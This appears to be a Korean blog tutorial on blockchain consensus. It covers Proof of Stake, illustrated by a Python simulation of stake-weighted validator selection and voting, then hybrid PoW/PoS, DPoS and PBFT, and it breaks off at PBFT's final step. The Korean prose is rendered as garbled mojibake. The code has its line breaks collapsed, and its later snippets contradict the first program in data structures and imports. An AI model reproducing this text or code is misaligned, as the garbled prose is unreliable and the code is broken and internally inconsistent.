import randomimport hashlibimport time// [1]class Validator:    def __init__(self, address, stake):        self.address = address  # Validator address        self.stake = stake         self.vote_weight = stake          def __repr__(self):        return f"Validator({self.address}, Stake: {self.stake})"class PoSBlockchain:    def __init__(self):        self.validators = []         self.blocks = []        def register_validator(self, address, stake):        if stake < 32:            print(f"[ERROR] {address} need to stake over 32 ETH")            return        validator = Validator(address, stake)        self.validators.append(validator)        print(f"[INFO] {validator} registered as a validator.")// [2]    def select_proposer(self):        """ Randomly select a block proposer """        total_stake = sum(v.stake for v in self.validators)        rand_value = random.uniform(0, total_stake)                cumulative = 0        for validator in self.validators:            cumulative += validator.stake            if rand_value <= cumulative:                print(f"[INFO] selected validator: {validator.address}")                return validator// [3]    def create_block(self, proposer):        """ Generate a block and calculate hash """        prev_hash = self.blocks[-1]['hash'] if self.blocks else "GENESIS"        timestamp = time.time()        block_data = f"{proposer.address}-{timestamp}-{prev_hash}"        block_hash = hashlib.sha256(block_data.encode()).hexdigest()        block = {"proposer": proposer.address, "hash": block_hash, "prev_hash": prev_hash}        return block// [4]    def validate_and_vote(self, block):        votes = 0        for validator in self.validators:            if random.random() > 0.1:  # 90% probability of a valid vote                votes += validator.vote_weight                required_votes = sum(v.stake for v in self.validators) * 0.67  # At least 67% approval required        if votes >= required_votes:            self.blocks.append(block)            print(f"[INFO] Validation: {block['hash']}")            return True        else:            print("[WARNING] Not enough votes ")            return False// [5]    def run_consensus(self):        proposer = self.select_proposer()        if proposer:            new_block = self.create_block(proposer)            self.validate_and_vote(new_block)pos_chain = PoSBlockchain()pos_chain.register_validator("Alice", 50)pos_chain.register_validator("Bob", 40)pos_chain.register_validator("Charlie", 32)pos_chain.register_validator("Dave", 100)for _ in range(3):    pos_chain.run_consensus()

[1] ์ด๋”๋ฆฌ์›€์—์„œ๋Š” 32ETH์„ ์˜ˆ์น˜(Staking)ํ•ด์•ผ ๊ฒ€์ฆ์ž๋กœ ์ฐธ์—ฌํ•  ์ˆ˜ ์žˆ์–ด์š”.

class Validator:    def __init__(self, address, stake):        self.address = address          self.stake = stake              def __repr__(self):        return f"Validator({self.address}, Stake: {self.stake})"

[2] ๋” ๋งŽ์€ ์ฝ”์ธ์„ ์Šคํ…Œ์ดํ‚นํ•œ ์ฐธ์—ฌ์ž๊ฐ€ ๋‹ค์Œ ๋ธ”๋ก ๊ฒ€์ฆ์ž๋กœ ์„ ํƒ๋  ๊ฐ€๋Šฅ์„ฑ์ด ์ƒ๋Œ€์ ์œผ๋กœ ํฌ์ง€๋งŒ, ๋‚œ์ˆ˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜ ๋“ฑ์„ ํ†ตํ•ด ์˜ˆ์ธก ๋ถˆ๊ฐ€๋Šฅํ•˜๊ฒŒ ์„ ํƒํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์„ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

def select_proposer(self):    """Select a block proposer randomly, weighted by stake"""    total_stake = sum(v.stake for v in self.validators.values())    rand_value = random.uniform(0, total_stake)    cumulative = 0    for validator in self.validators.values():        cumulative += validator.stake        if rand_value <= cumulative:            print(f"[INFO] Selected proposer: {validator.address}")            return validator    return None

[3] ์„ ์ •๋œ ๊ฒ€์ฆ์ž๋Š” ์ƒˆ๋กœ์šด ๊ฑฐ๋ž˜๋“ค์„ ๋ฌถ์–ด ๋ธ”๋ก์„ ์ƒ์„ฑํ•˜๊ณ  ๋ธ”๋ก์ฒด์ธ์— ์ œ์•ˆํ•ฉ๋‹ˆ๋‹ค.

def create_block(self, proposer):    """Generate a new block"""    prev_hash = self.blockchain[-1]['Hash']    new_block = {        "Index": len(self.blockchain),        "Timestamp": str(datetime.now()),        "PrevHash": prev_hash,        "Validator": proposer.address    }    new_block["Hash"] = self.hash_block(new_block)    return new_block

[4] ๊ทธ ์™ธ์˜ ๋‹ค๋ฅธ ๊ฒ€์ฆ์ž๋“ค์€ ํ•ด๋‹น ๋ธ”๋ก์˜ ์œ ํšจ์„ฑ์„ ๊ฒ€์ฆํ•˜๊ณ  ํˆฌํ‘œ๋ฅผ ์ง„ํ–‰ํ•จ์œผ๋กœ์จ ํ•ฉ์˜์— ์ฐธ์—ฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋”๋ฆฌ์›€์˜ ๊ฒฝ์šฐ, ์ตœ์†Œ 128๋ช…์˜ ๊ฒ€์ฆ์ž๊ฐ€ ๋ธ”๋ก์„ ๊ฒ€ํ† ํ•˜๊ณ  ํˆฌํ‘œํ•ด์•ผํ•ด์š”. ์ด ํˆฌํ‘œ๋ฅผ ํ†ตํ•ด ์ถฉ๋ถ„ํ•œ ํ•ฉ์˜(Consensus)๊ฐ€ ์ด๋ฃจ์–ด์ง€๋ฉด, ์ด ๋ธ”๋ก์ด ๋ธ”๋ก์ฒด์ธ์— ์ถ”๊ฐ€๋˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค.

def validate_and_vote(self, block):    """Simulate validator voting process"""    total_stake = sum(v.stake for v in self.validators.values())    votes = sum(v.stake for v in self.validators.values() if random.random() > 0.1)  # # 90% chance to approve    if votes >= total_stake * 0.67:  # Requires at least 67% approval         self.blockchain.append(block)        print(f"[INFO] Block added: {block['Hash']}")        return True    else:        print("[WARNING] Block rejected due to insufficient votes.")        return False

[5] ์ด๋ ‡๊ฒŒ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋ธ”๋ก์„ ์ƒ์„ฑํ•œ ๊ฒ€์ฆ์ž๋Š” ๊ฑฐ๋ž˜ ์ˆ˜์ˆ˜๋ฃŒ ๋ฐ ๋„คํŠธ์›Œํฌ ๋ณด์ƒ์„ ๋ฐ›์Šต๋‹ˆ๋‹ค.

def run_consensus(self):    """Run the PoS consensus process"""    proposer = self.select_proposer()    if proposer:        new_block = self.create_block(proposer)        self.validate_and_vote(new_block)        proposer.stake += 5  # reward        print(f"[INFO] {proposer.address} received 5 ETH as a reward.")

๋ฐ˜๋Œ€๋กœ ๊ฒ€์ฆ์ž๊ฐ€ ๋ถ€์ •ํ–‰์œ„๋ฅผ ํ•˜๊ฑฐ๋‚˜ ์š”๊ตฌ๋œ ๊ฒ€์ฆ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜์ง€ ์•Š์œผ๋ฉด ํŒจ๋„ํ‹ฐ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๊ฒ€์ฆ์ž๊ฐ€ ์˜คํ”„๋ผ์ธ ์ƒํƒœ์—ฌ์„œ ๋ธ”๋ก์„ ๊ฒ€์ฆํ•˜์ง€ ๋ชปํ•˜๋ฉด ๋ณด์ƒ์ด ์ค„์–ด๋“ค๊ฑฐ๋‚˜ ์ผ๋ถ€ ์ง€๋ถ„์„ ์‚ญ๊ฐ๋‹นํ•  ์ˆ˜ ์žˆ๊ณ , ์ด์ค‘ ์„œ๋ช…์ด๋‚˜ ์ž˜๋ชป๋œ ๋ธ”๋ก ์Šน์ธ๊ณผ ๊ฐ™์€ ๋ถ€์ •ํ–‰์œ„๋ฅผ ํ•  ๊ฒฝ์šฐ์—๋Š” ์Šฌ๋ž˜์‹ฑ(Slash)๋˜์–ด ์˜ˆ์น˜ํ•œ ์ง€๋ถ„ ์ผ๋ถ€ ๋˜๋Š” ์ „๋ถ€๋ฅผ ๋ชฐ์ˆ˜๋‹นํ•˜๊ณ  ๋„คํŠธ์›Œํฌ์—์„œ ํ‡ด์ถœ๋ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ PoS๋Š” ์ด๋Ÿฐ ๋ฐฉ์‹์œผ๋กœ ๋„คํŠธ์›Œํฌ์˜ ๋ณด์•ˆ๊ณผ ๋ฌด๊ฒฐ์„ฑ์„ ์œ ์ง€ํ•˜๋ฉด์„œ๋„, PoW๋ณด๋‹ค ์—๋„ˆ์ง€ ํšจ์œจ์ ์ธ ํ•ฉ์˜ ๋งค์ปค๋‹ˆ์ฆ˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ PoS ์—ญ์‹œ ์ฝ”์ธ ์ง€๋ถ„์ด ๋งŽ์€ ์‚ฌ๋žŒ์ด ๊ณ„์†ํ•ด์„œ ์œ ๋ฆฌํ•ด์ง€๋Š” ๊ตฌ์กฐ์  ํ•œ๊ณ„๋ฅผ ๊ฐ€์ง€๋ฉฐ, ์ค‘์•™ํ™” ์œ„ํ—˜์ด ์กด์žฌํ•œ๋‹ค๋Š” ๋‹จ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

3. Hybrid PoW/PoS

Complete Overview of Decredโ€™s Structure [์ถœ์ฒ˜: https://medium.com/decred/blockchain-governance-how-decred-iterates-upon-bitcoin-3cc7030c655e]

๊ธฐ์กด PoW๋Š” ๋†’์€ ๋ณด์•ˆ์„ฑ์„ ์ œ๊ณตํ•˜์ง€๋งŒ ์—๋„ˆ์ง€ ์†Œ๋น„๊ฐ€ ๋†’๊ณ  ์ฑ„๊ตด ๋…์  ๋ฌธ์ œ๊ฐ€ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด PoS ๋ฐฉ์‹์€ ์—๋„ˆ์ง€ ํšจ์œจ์ ์ด์ง€๋งŒ ๊ฒ€์ฆ์ž ๋…์  ์œ„ํ—˜์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด์„œ Hybrid PoW/PoS ๋ชจ๋ธ์ด ๋“ฑ์žฅํ–ˆ์œผ๋ฉฐ, ์ด ๋ฐฉ์‹์—์„œ๋Š” PoW๋ฅผ ์‚ฌ์šฉํ•ด ๋ธ”๋ก์„ ์ƒ์„ฑํ•˜๊ณ  PoS ๊ฒ€์ฆ์ž๋“ค์ด ๋ธ”๋ก์„ ์Šน์ธํ•˜๋Š” ๊ตฌ์กฐ๋ฅผ ์ฑ„ํƒํ–ˆ์–ด์š”.

๋จผ์ €, Proof-of-Work ๋ฐฉ์‹์œผ๋กœ ์ฑ„๊ตด์ž๊ฐ€ ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•ด์„œ ์ƒˆ๋กœ์šด ๋ธ”๋ก์„ ์ƒ์„ฑํ•ด์š”. ํ•˜์ง€๋งŒ ์ƒ์„ฑ๋œ ๋ธ”๋ก์ด ๋ฐ”๋กœ ์ฒด์ธ์— ์ถ”๊ฐ€๋˜๋Š” ๊ฒƒ์ด ์•„๋‹Œ, PoS ๊ฒ€์ฆ์ž๋“ค์˜ ํˆฌํ‘œ๋ฅผ ํ†ตํ•ด ์ตœ์ข… ์Šน์ธ ๊ฑธ์ฐจ๋ฅผ ๊ฑฐ์นฉ๋‹ˆ๋‹ค. PoS ๊ฒ€์ฆ์ž๋“ค์€ ์ž์‹ ์ด ๋ณด์œ ํ•œ ์ฝ”์ธ์„ ์ผ์ •๋Ÿ‰ ์˜ˆ์น˜(staking)ํ•˜์—ฌ ๊ฒ€์ฆ์ž๋กœ ์ฐธ์—ฌํ•˜๊ณ , ๋žœ๋คํ•˜๊ฒŒ ์„ ํƒ๋œ ๊ฒ€์ฆ์ž๋“ค์ด ํ•ด๋‹น ๋ธ”๋ก์˜ ์œ ํšจ์„ฑ์„ ํ‰๊ฐ€ํ•˜๊ณ  ํˆฌํ‘œํ•ฉ๋‹ˆ๋‹ค. ๋ณดํ†ต ๊ฒ€์ฆ์ž 5๋ช… ์ค‘ 3๋ช… ์ด์ƒ์ด ์ฐฌ์„ฑํ•˜๋ฉด ๋ธ”๋ก์ด ์Šน์ธ๋˜๋ฉฐ, ์ตœ์ข…์ ์œผ๋กœ ๋ธ”๋ก์ฒด์ธ์— ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค.

์ด ๋ณด์ƒ์€ PoW ์ฑ„๊ตด์ž์™€ PoS ๊ฒ€์ฆ์ž์—๊ฒŒ ๋ถ„๋ฐฐ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, Decred(DCR)์—์„œ๋Š” PoW ์ฑ„๊ตด์ž๊ฐ€ ๋ณด์ƒ์˜ 60%, PoS ๊ฒ€์ฆ์ž๊ฐ€ 30%, ๋‚˜๋จธ์ง€ 10%๋Š” ๋„คํŠธ์›Œํฌ ๊ฐœ๋ฐœ ๊ธฐ๊ธˆ์œผ๋กœ ํ• ๋‹น๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด์„œ PoW ์ฑ„๊ตด์ž์˜ ๊ณผ๋„ํ•œ ๋…์ ์„ ๋ฐฉ์ง€ํ•˜๊ณ , PoS ๊ฒ€์ฆ์ž๋“ค์ด ๋„คํŠธ์›Œํฌ๋ฅผ ์œ ์ง€ํ•˜๋Š”๋ฐ ์ ๊ทน์ ์œผ๋กœ ์ฐธ์—ฌํ•  ์ˆ˜ ์žˆ๋„๋ก ์ธ์„ผํ‹ฐ๋ธŒ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๊ตฌ์กฐ๋ฅผ ํ†ตํ•ด์„œ PoW์˜ ๋†’์€ ๋ณด์•ˆ์„ฑ๊ณผ PoS์˜ ์—๋„ˆ์ง€ ํšจ์œจ์„ฑ์„ ๊ฒฐํ•ฉํ•˜์—ฌ 51% ๊ณต๊ฒฉ ๋ฐฉ์–ด๋ ฅ์„ ๋†’์ด๊ณ  ๊ฒ€์ฆ์ž์˜ ์ค‘์•™ํ™” ๋ฌธ์ œ๋ฅผ ์™„ํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

4. DPoS (Delegated Proof of Stake)

DPoS(Delegated Proof of Stake)๋Š” ๊ธฐ์กด PoS ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ๊ฐœ์„ ํ•œ ํ˜•ํƒœ์˜ ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜์œผ๋กœ, ๋ธ”๋ก์ฒด์ธ ๋„คํŠธ์›Œํฌ์˜ ๊ฑฐ๋ž˜ ๊ฒ€์ฆ ๋ฐ ๋ธ”๋ก ์ƒ์„ฑ์„ ๋ณด๋‹ค ํšจ์œจ์ ์œผ๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ์„ค๊ณ„๋œ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. DPoS๋Š” ์‚ฌ์šฉ์ž๋“ค์ด ๋ธ”๋ก์„ ์ง์ ‘ ์ƒ์„ฑํ•˜๋Š” ๋Œ€์‹ , ๋Œ€ํ‘œ์ž(Delegates)๋ฅผ ์„ ์ถœํ•˜์—ฌ ๊ฒ€์ฆ ๋ฐ ๋ธ”๋ก ์ƒ์„ฑ ๊ถŒํ•œ์„ ์œ„์ž„ํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

๋จผ์ €, ๋ชจ๋“  ํ† ํฐ ๋ณด์œ ์ž๋“ค์€ ์ž์‹ ์˜ ์ง€๋ถ„์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํˆฌํ‘œ๋ฅผ ์ง„ํ–‰ํ•˜๊ณ , ์ด ํˆฌํ‘œ๋ฅผ ํ†ตํ•ด ๋Œ€ํ‘œ์ž๋ฅผ ๋ฝ‘์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ์„ ์ถœ๋œ ๋Œ€ํ‘œ์ž๋“ค์€ ์ •ํ•ด์ง„ ์ˆœ์„œ๋Œ€๋กœ ๋ธ”๋ก์„ ์ƒ์„ฑํ•˜๊ณ  ๊ฒ€์ฆํ•˜๋Š” ์—ญํ• ์„ ์ˆ˜ํ–‰ํ•˜๋ฉฐ ๋„คํŠธ์›Œํฌ๋ฅผ ์šด์˜ํ•ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ, ์ด๋Ÿฐ ์‹œ์Šคํ…œ์—์„œ๋Š” ๋Œ€ํ‘œ์ž์˜ ์„ฑ์‹คํ•œ ์šด์˜์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ํˆฌํ‘œ๋Š” ์ง€์†์ ์œผ๋กœ ์ง„ํ–‰๋˜๋ฉฐ, ๋งŒ์•ฝ ๋Œ€ํ‘œ์ž๊ฐ€ ๋ธ”๋ก์„ ์ƒ์„ฑํ•˜์ง€ ์•Š๊ฑฐ๋‚˜ ๋ถ€์ •ํ–‰์œ„๋ฅผ ์ €์ง€๋ฅด๋ฉด, ํ† ํฐ ๋ณด์œ ์ž๋“ค์€ ์žฌํˆฌํ‘œ๋กœ ๋Œ€ํ‘œ์ž๋ฅผ ๊ต์ฒดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์ฒ˜๋Ÿผ DPoS๋Š” ๋ณด๋‹ค ๋ฏผ์ฃผ์ ์ธ ๋ฐฉ์‹์œผ๋กœ ์šด์˜๋˜๊ณ , ๋Œ€ํ‘œ์ž๋“ค์ด ์ˆœ์ฐจ์ ์œผ๋กœ ๋ธ”๋ก์„ ์ƒ์„ฑํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ธ”๋ก ํ™•์ • ์‹œ๊ฐ„์ด ์งง์•„, ๋„คํŠธ์›Œํฌ ์„ฑ๋Šฅ์ด ๋›ฐ์–ด๋‚ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, ์ฑ„๊ตด ๊ฒฝ์Ÿ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— ์—๋„ˆ์ง€ ์†Œ๋น„๊ฐ€ ๋‚ฎ๋‹ค๋Š” ์žฅ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๋Œ€ํ‘œ์ž๊ฐ€ ์ œํ•œ๋œ ์ˆ˜๋กœ ์šด์˜๋˜๊ธฐ ๋•Œ๋ฌธ์—, PoW๋‚˜ PoS๋ณด๋‹ค ์ค‘์•™ํ™”๋  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์œผ๋ฉฐ, ์ผ๋ถ€ ๋Œ€ํ‘œ์ž๋“ค์ด ๋‹ดํ•ฉํ•  ๊ฒฝ์šฐ ๋„คํŠธ์›Œํฌ์˜ ๊ณต์ •์„ฑ์ด ํ›ผ์†๋  ์œ„ํ—˜์ด ์žˆ์Šต๋‹ˆ๋‹ค.

๋Œ€ํ‘œ์ ์ธ DPoS ๋ธ”๋ก์ฒด์ธ์œผ๋กœ๋Š” EOS์™€ TRON์ด ์žˆ์œผ๋ฉฐ, ์ด์™ธ์—๋„ Steem๊ณผ Lisk ๊ฐ™์€ ํ”„๋กœ์ ํŠธ์—์„œ๋„ DPoS๋ฅผ ํ™œ์šฉํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์‹œ์Šคํ…œ์—์„œ๋Š” ์ผ์ • ์ˆ˜์˜ ๋Œ€ํ‘œ์ž๊ฐ€ ๋„คํŠธ์›Œํฌ๋ฅผ ์šด์˜ํ•˜๊ณ , ํ•ฉ์˜ ๊ณผ์ •์„ ๋น ๋ฅด๊ฒŒ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

5. PBFT (Practical Byzantine Fault Tolerance)

๋ธ”๋ก์ฒด์ธ์„ ๊ณต๋ถ€ํ•˜์‹  ๋ถ„๋“ค์€ ๋น„์ž”ํ‹ด ์žฅ๊ตฐ ๋ฌธ์ œ(Byzantine General Problems)์— ๋Œ€ํ•ด์„œ๋„ ๋“ค์–ด๋ณด์…จ์„ ๊ฒƒ ๊ฐ™์€๋ฐ์š”.

๋น„์ž”ํ‹ด ์žฅ๊ตฐ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ๊ณ ์•ˆ๋œ ๋น„์ž”ํ‹ด ์žฅ์•  ๋ฌธ์ œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • ๋น„์ž”ํ‹ด ๊ตฐ๋Œ€์˜ ์—ฌ๋Ÿฌ ์žฅ๊ตฐ๋“ค์ด ์ ์˜ ๋„์‹œ๋ฅผ ํฌ์œ„ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋“ค์€ ์„œ๋กœ ์ง์ ‘ ๋Œ€ํ™”ํ•  ์ˆ˜ ์—†๊ณ , ๋ฉ”์‹ ์ €๋ฅผ ํ†ตํ•ด์„œ๋งŒ ์†Œํ†ตํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ฌธ์ œ๋Š” ๋ช‡๋ช‡ ์žฅ๊ตฐ์ด ๋ฐ˜์—ญ์ž์ผ ์ˆ˜๋„ ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ถฉ์„ฑ์Šค๋Ÿฌ์šด ์žฅ๊ตฐ๋“ค์€ ํ•จ๊ป˜ ๊ณต๊ฒฉํ•˜๊ฑฐ๋‚˜ ํ›„ํ‡ดํ•ด์•ผ ํ•˜์ง€๋งŒ, ๋ฐ˜์—ญ์ž๋“ค์€ ํ˜ผ๋ž€์„ ์ผ์œผ์ผœ ์ผ๋ถ€๋Š” ๊ณต๊ฒฉํ•˜๊ณ , ์ผ๋ถ€๋Š” ํ›„ํ‡ดํ•˜๊ฒŒ ๋งŒ๋“ค์–ด ์ž‘์ „์„ ๋ง์น˜๋ ค ํ•ฉ๋‹ˆ๋‹ค.
  • ์ด๋Ÿฌํ•œ ์ƒํ™ฉ์—์„œ ์ถฉ์„ฑ์Šค๋Ÿฌ์šด ์žฅ๊ตฐ๋“ค์€ ๋‘ ๊ฐ€์ง€ ๋ชฉํ‘œ๋ฅผ ๋‹ฌ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
    • ๋ชจ๋“  ์ถฉ์„ฑ์Šค๋Ÿฌ์šด ์žฅ๊ตฐ๋“ค์ด ๊ฐ™์€ ๊ฒฐ์ •์„ ๋‚ด๋ ค์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ฆ‰, ๊ณต๊ฒฉํ•  ๊ฑฐ๋ฉด ๋ชจ๋‘ ๊ณต๊ฒฉํ•˜๊ณ , ํ›„ํ‡ดํ•  ๊ฑฐ๋ฉด ๋ชจ๋‘ ํ›„ํ‡ดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
    • ์†Œ์ˆ˜์˜ ๋ฐ˜์—ญ์ž๋“ค์ด ์ž˜๋ชป๋œ ์ •๋ณด๋ฅผ ํผ๋œจ๋ ค ์—‰๋šฑํ•œ ๊ฒฐ์ •์„ ๋‚ด๋ฆฌ๊ฒŒ ํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.
  • ์ถฉ์„ฑ์Šค๋Ÿฌ์šด ์žฅ๊ตฐ๋“ค์€ ์–ด๋–ค ๊ฒฝ์šฐ์—๋„ ์ด ๋‘ ๊ฐ€์ง€ ์กฐ๊ฑด์„ ์ง€์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋ฐ˜์—ญ์ž๋“ค์€ ๊ฑฐ์ง“ ์ •๋ณด๋ฅผ ๋ณด๋‚ด๊ฑฐ๋‚˜, ๋ฉ”์‹œ์ง€๋ฅผ ์กฐ์ž‘ํ•˜๋Š” ๋“ฑ ๋ฌด์—‡์ด๋“  ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
    ๋”ฐ๋ผ์„œ, ์žฅ๊ตฐ๋“ค์ด ์–ด๋–ค ์ƒํ™ฉ์—์„œ๋„ ์˜ฌ๋ฐ”๋ฅธ ํ•ฉ์˜๋ฅผ ์ด๋Œ์–ด๋‚ผ ์ˆ˜ ์žˆ๋Š” ์•ˆ์ •์ ์ธ ์†Œํ†ต ๋ฐฉ์‹(์•Œ๊ณ ๋ฆฌ์ฆ˜) ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๊ฐ€ ๋ฐ”๋กœ โ€œ๋น„์ž”ํ‹ด ์žฅ๊ตฐ ๋ฌธ์ œ(Byzantine Generals Problem)โ€์ž…๋‹ˆ๋‹ค.

PBFT(Practical Byzantine Fault Tolerance)๋Š” ๋„คํŠธ์›Œํฌ์—์„œ ์ผ๋ถ€ ๋…ธ๋“œ๊ฐ€ ์‘๋‹ตํ•˜์ง€ ์•Š๊ฑฐ๋‚˜ ์ž˜๋ชป๋œ ์ •๋ณด๋กœ ์‘๋‹ตํ•˜๋”๋ผ๋„ ์•ˆ์ „ํ•˜๊ฒŒ ํ•ฉ์˜๋ฅผ ์ด๋ฃจ๋Š” ์•Œ๊ณ ๋ฆฌ์ฆ˜์ž…๋‹ˆ๋‹ค. ํŠนํžˆ, 3f+1 ๊ฐœ์˜ ๋…ธ๋“œ๊ฐ€ ์กด์žฌํ•  ๋•Œ f๊ฐœ์˜ ์•…์˜์ ์ธ(๋น„์ž”ํ‹ด) ๋…ธ๋“œ๊ฐ€ ์žˆ์–ด๋„ ์•ˆ์ „ํ•˜๊ฒŒ ์ž‘๋™ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ•ฉ์˜ ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ ๊ธฐ์กด์˜ PoW๋‚˜ PoS์™€ ๋‹ฌ๋ฆฌ ์—ฐ์‚ฐ ๊ฒฝ์Ÿ์ด ํ•„์š”ํ•˜์ง€ ์•Š๊ณ , ํˆฌํ‘œ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ์˜๋ฅผ ์ˆ˜ํ–‰ํ•ด ๋น ๋ฅธ ํŠธ๋žœ์žญ์…˜ Finality๋ฅผ ๋ณด์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Figure 1. Byzantine Generals Problem Image [์ถœ์ฒ˜: ๋…ผ๋ฌธ ์ฒจ๋ถ€]

PBFT๋Š” ํด๋ผ์ด์–ธํŠธ(Client)์™€ ๋ณต์ œ๋ณธ(Replicas) ์œผ๋กœ ๊ตฌ์„ฑ๋˜๋ฉฐ, ๋ณต์ œ๋ณธ ์ค‘ ํ•˜๋‚˜๊ฐ€ ๋ฆฌ๋”(Primary) ๋…ธ๋“œ ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด 4๋‹จ๊ณ„ ํ”„๋กœํ† ์ฝœ(Request, Pre-prepare, Prepare, Commit)์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. (f: ๋น„์ž”ํ‹ด ์žฅ์•  ๊ฐ€๋Šฅ ๋…ธ๋“œ ์ˆ˜)

  1. Request
    Client๊ฐ€ ๋ฆฌ๋” ๋…ธ๋“œ์— ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค.

  2. Pre-Prepare
    ๋ฆฌ๋” ๋…ธ๋“œ๋Š” ๋ชจ๋“  ๋ณด์กฐ(๋ฐฑ์—…) ๋…ธ๋“œ์— ์š”์ฒญ์„ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ ํ•ฉ๋‹ˆ๋‹ค.์ด ๊ณผ์ •์—์„œ ๋ฆฌ๋” ๋…ธ๋“œ๊ฐ€ ์•…์˜์ ์ด๋ผ๋ฉด ์ž˜๋ชป๋œ ์š”์ฒญ์„ ์ „ํŒŒํ•  ์ˆ˜๋„ ์žˆ์ง€๋งŒ,์ดํ›„์˜ ๊ณผ์ •์—์„œ ์ด๋ฅผ ๊ฒ€์ฆํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

  3. Prepare
    ๊ฐ ๋ณด์กฐ ๋…ธ๋“œ๋Š” ๋ฆฌ๋” ๋…ธ๋“œ๊ฐ€ ๋ณด๋‚ธ Pre-Prepare ๋ฉ”์‹œ์ง€๋ฅผ ๊ฒ€์ฆํ•œ ๋’ค, ๋‹ค๋ฅธ ๋…ธ๋“œ๋“ค์—๊ฒŒ PREPARE ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์ด ๋•Œ, ๋…ธ๋“œ๋“ค์€ ๋™์ผํ•œ ์š”์ฒญ์— ๋Œ€ํ•ด ์ตœ์†Œ 2f+1๊ฐœ์˜ PREPARE ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ›์œผ๋ฉด ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  4. Commit
    ๊ฐ ๋ณด์กฐ ๋…ธ๋“œ๋Š” 2f+1๊ฐœ์˜ PREPARE ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ›์œผ๋ฉด ์š”์ฒญ์„ ์‹ ๋ขฐํ•˜๊ณ , ๋‹ค๋ฅธ ๋…ธ๋“œ๋“ค์—๊ฒŒ COMMIT ๋ฉ”์‹œ์ง€๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. ๋…ธ๋“œ๋“ค์€ ๋™์ผํ•œ ์š”์ฒญ์— ๋Œ€ํ•ด 2f+1 ๊ฐœ์˜ COMMIT ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ›์œผ๋ฉด ์š”์ฒญ์„ ํ™•์ •ํ•ฉ๋‹ˆ๋‹ค.

  5. Reply
